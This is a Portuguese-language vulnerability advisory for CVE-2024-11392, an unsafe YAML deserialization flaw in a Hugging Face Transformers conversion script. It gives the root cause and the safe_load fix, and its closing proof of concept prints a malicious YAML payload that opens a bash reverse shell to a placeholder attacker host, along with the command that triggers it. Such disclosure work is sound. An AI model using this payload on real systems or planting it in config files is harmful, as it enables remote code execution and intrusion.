
Detalhes Técnicos e Exploit para CVE-2024-11392
Visão geral de alto nível e efeitos da vulnerabilidade:
A vulnerabilidade permite que um atacante execute código arbitrário na máquina anfitriã ao fornecer um arquivo de configuração malicioso ao script convert_mlcvnets_to_pytorch.py no repositório Hugging Face Transformers.
Se um usuário desavisado utilizar um modelo de terceiros acompanhado de um arquivo de configuração malicioso, a execução do script convert_mlcvnets_to_pytorch.py levará à execução remota de código (RCE) no sistema da vítima.
O Produto Vulnerável
Análise da Causa Raiz
Descrição detalhada da vulnerabilidade: A vulnerabilidade resulta da desserialização insegura de dados não confiáveis. O script utiliza a função yaml.load com o carregador - FullLoader, que carrega toda a linguagem YAML e é vulnerável à execução de código.
Fluxo de código desde a entrada até a condição vulnerável:
ml-cvnet de terceiros juntamente com seu arquivo de configuração.convert_mlcvnets_to_pytorch.py e passa o arquivo de configuração para ele.convert_mlcvnets_to_pytorch.py desserializa o arquivo de configuração e executa o código malicioso.Ponto de injeção: A vulnerabilidade ocorre no ponto onde yaml.load(yaml_file, Loader=yaml.FullLoader) é chamado.
Link Permalink no GitHub: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
Correções sugeridas: Substitua yaml.load(yaml_file, Loader=yaml.FullLoader) por yaml.safe_load(yaml_file) para impedir a execução de código arbitrário.
Instruções para executar a prova de conceito:
transformers_exploit.yaml que abrirá um shell reverso no sistema da vítima:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py e passe o arquivo transformers_exploit.yaml para --orig_config_path:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
Nota: O dummy_checkpoint.pt pode ser deixado como um arquivo vazio, dummy_output como um diretório vazio, e task como qualquer uma das opções mencionadas no script.
Link para Download do Software: https://github.com/huggingface/transformers/tree/main